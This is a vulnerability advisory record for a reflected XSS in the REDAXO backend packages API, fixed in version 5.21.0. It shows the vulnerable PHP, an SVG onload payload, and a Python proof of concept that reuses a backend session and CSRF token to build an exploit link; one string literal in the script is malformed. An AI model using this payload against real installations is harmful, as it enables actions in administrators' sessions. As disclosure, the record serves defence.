{"id":"CVE-2026-117538","aliases":["GHSA-xq4j-g85q-wf97"],"title":"REDAXO has reflected XSS backend packages API via function parameter (CSRF token required)","description":"### Summary\n\nA **reflected XSS** vulnerability has been identified in the REDAXO backend. The `function` parameter is concatenated into an API error message and rendered without HTML escaping.\n\n---\n\n### Details\n\n**Root cause**\nUser input `function` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping.\n\n**Vulnerable code (`redaxo/src/core/lib/packages/api_package.php`) :**\n\n```php\n$function = rex_request('function', 'string');\nthrow new rex_api_exception('Unknown package function \"' . $function . '\"!');\n```\n\n**Sink (`redaxo/src/core/lib/view.php`) :**\n\n```php\nreturn '<div class=\"' . $cssClassMessage . '\">' . $message . '</div>';\n```\n\n**Source -> sink flow**\n\n* Source: `function` (GET)\n* Propagation: concatenated into the exception message\n* Sink: rendered via `rex_view::error()` -> `rex_view::message()` without escaping\n\n**Authentication required:** yes (backend session)\n\n---\n\n### PoC - Exploit\n\n```python\n#!/usr/bin/env python3\nimport re\nimport urllib.parse\nimport requests\n\nTARGET_URL = \"http://poc.local/\"\nBACKEND_PATH = \"redaxo/index.php\"\n\n# A valid backend PHP session id (must belong to a user who can access the Packages page)\nSESSION_ID = \"xxxxxxxxxxxxxxxxxxxxx\n\nhttps://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598\n\n\"\n\nVERIFY_SSL = False\nTIMEOUT = 15\n\nPAYLOAD = '\\\\\"><svg/onload=alert(\"Pwned\")>'\n\ndef build_backend_url() -> str:\n    base = TARGET_URL.rstrip('/')\n    return f\"{base}/{BACKEND_PATH.lstrip('/')}\"\n\n\ndef extract_api_csrf(html_text: str) -> str:\n    m = re.search(r'rex-api-call=package[^\\\"]+_csrf_token=([^&\\\"\\s]+)', html_text)\n    if not m:\n        raise RuntimeError(\"CSRF token for rex_api_call=package was not found in the page HTML.\")\n    return m.group(1)\n\ndef set_session_cookie(session: requests.Session) -> None:\n    parsed = urllib.parse.urlparse(TARGET_URL)\n    if parsed.hostname:\n        session.cookies.set(\"PHPSESSID\", SESSION_ID, domain=parsed.hostname, path=\"/\")\n\n\ndef main() -> None:\n    backend_url = build_backend_url()\n\n    s = requests.Session()\n    set_session_cookie(s)\n\n    # Backend session required (role with access to packages)\n    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)\n    if \"rex-page-login\" in r0.text or \"rex_user_login\" in r0.text:\n        print(\"[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.\")\n        return\n\n    r = s.get(backend_url, params={\"page\": \"packages\"}, timeout=TIMEOUT, verify=VERIFY_SSL)\n    if r.status_code != 200:\n        print(f\"[!] Failed to access packages page (HTTP {r.status_code}).\")\n        return\n\n    api_token = extract_api_csrf(r.text)\n\n    params = {\n        \"page\": \"packages\",\n        \"rex-api-call\": \"package\",\n        \"function\": PAYLOAD,\n        \"package\": \"nonexistent\",\n        \"_csrf_token\": api_token,\n    }\n\n    exploit_url = f\"{backend_url}?{urllib.parse.urlencode(params)}\"\n    print(exploit_url)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nTo run the PoC you must set a valid admin account PHPSSID. The PoC will then automatically retrieve the CSRF token and generate a ready-to-use exploitation link.\n\n---\n\n### Impact\n\n* **Confidentiality:** Low :  no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.\n* **Integrity:** Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.\n* **Availability:** Low :  the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.\n\n### Demo\nhttps://github.com/user-attachments/assets/41d0186a-7ca0-4482-86c5-8bea6c8f6ac6","severity":"low","score":2.1,"published":"2026-04-10T19:40:42.000Z","modified":"2026-10-28T02:56:07.570Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"redaxo/source","ranges":[{"events":[{"introduced":"0"},{"fixed":"5.21.0"}],"type":"ECOSYSTEM"}],"versions":["5.10.0","5.10.0-beta1","5.10.0-beta2","5.10.1","5.11.0","5.11.0-beta1","5.11.1","5.11.2","5.12.0","5.12.0-beta1","5.12.0-beta2","5.12.0-beta3","5.12.1","5.13.0","5.13.0-beta1","5.13.0-beta2","5.13.1","5.13.2","5.13.3","5.14.0","5.14.0-beta1","5.14.0-beta2","5.14.1","5.14.2","5.14.3","5.15.0","5.15.0-beta1","5.15.1","5.16.0","5.16.0-beta1","5.16.1","5.17.0","5.17.1","5.18.0","5.18.1","5.18.2","5.18.3","5.19.0","5.20.0","5.20.1","5.20.2","5.21.0-beta1"],"fixed":["5.21.0"]}],"sourceAffected":[],"references":["https://github.com/redaxo/core/security/advisories/GHSA-xq4j-g85q-wf97","https://www.vulncheck.com/advisories/redaxo-before-5.21.0-reflected-xss-via-packages-api-function-parameter","https://github.com/redaxo/core","https://github.com/redaxo/core/releases/tag/5.21.0"],"sources":[{"name":"CVE","id":"CVE-2026-117538","modified":"2026-10-27T10:59:32.772Z","url":"https://www.cve.org/CVERecord?id=CVE-2026-117538"},{"name":"OSV","id":"GHSA-xq4j-g85q-wf97","modified":"2026-10-28T02:56:07.570061609Z","url":"https://osv.dev/vulnerability/GHSA-xq4j-g85q-wf97"}],"assessments":[{"source":"CNA","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","score":2.1},{"source":"CNA","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L","score":4.1},{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","score":2.1}]}